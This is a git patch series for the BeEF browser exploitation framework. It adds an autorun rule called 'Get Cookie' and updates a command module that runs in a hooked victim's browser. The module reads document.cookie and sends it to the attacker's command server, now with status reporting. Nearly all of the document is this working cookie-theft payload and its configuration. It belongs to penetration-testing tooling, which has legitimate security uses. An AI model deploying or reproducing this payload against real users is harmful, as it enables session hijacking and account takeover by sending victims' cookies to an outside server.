From 408e18c0c6759f3215608f266aa6ce51f14e4467 Mon Sep 17 00:00:00 2001 From: Michael Benich Date: Fri, 3 Feb 2017 15:32:07 -0500 Subject: [PATCH 1/2] Add json for get_cookie --- arerules/get_cookie.json | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 arerules/get_cookie.json diff --git a/arerules/get_cookie.json b/arerules/get_cookie.json new file mode 100644 index 000000000..fc53c5f4e --- /dev/null +++ b/arerules/get_cookie.json @@ -0,0 +1,18 @@ +{ + "name": "Get Cookie", + "author": "@benichmt1", + "browser": "ALL", + "browser_version": "ALL", + "os": "ALL", + "os_version": "ALL", + "modules": [ + {"name": "get_cookie", + "condition": null, + "options": { + } + } + ], + "execution_order": [0], + "execution_delay": [0], + "chain_mode": "sequential" +} From 0b606f8d7962d35df12a32c89644691b3454019f Mon Sep 17 00:00:00 2001 From: Michael Benich Date: Fri, 3 Feb 2017 16:45:12 -0500 Subject: [PATCH 2/2] Send status messages --- modules/browser/hooked_domain/get_cookie/command.js | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/modules/browser/hooked_domain/get_cookie/command.js b/modules/browser/hooked_domain/get_cookie/command.js index 865f2c2fc..e1dfc586d 100644 --- a/modules/browser/hooked_domain/get_cookie/command.js +++ b/modules/browser/hooked_domain/get_cookie/command.js @@ -4,9 +4,12 @@ // See the file 'doc/COPYING' for copying permission // -beef.execute(function() { - - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie); - +try { + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_success()); + beef.debug("[Get Cookie] Cookie captured: "+document.cookie); +}catch(e){ + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_error()); + beef.debug("[Get Cookie] Error"); +} });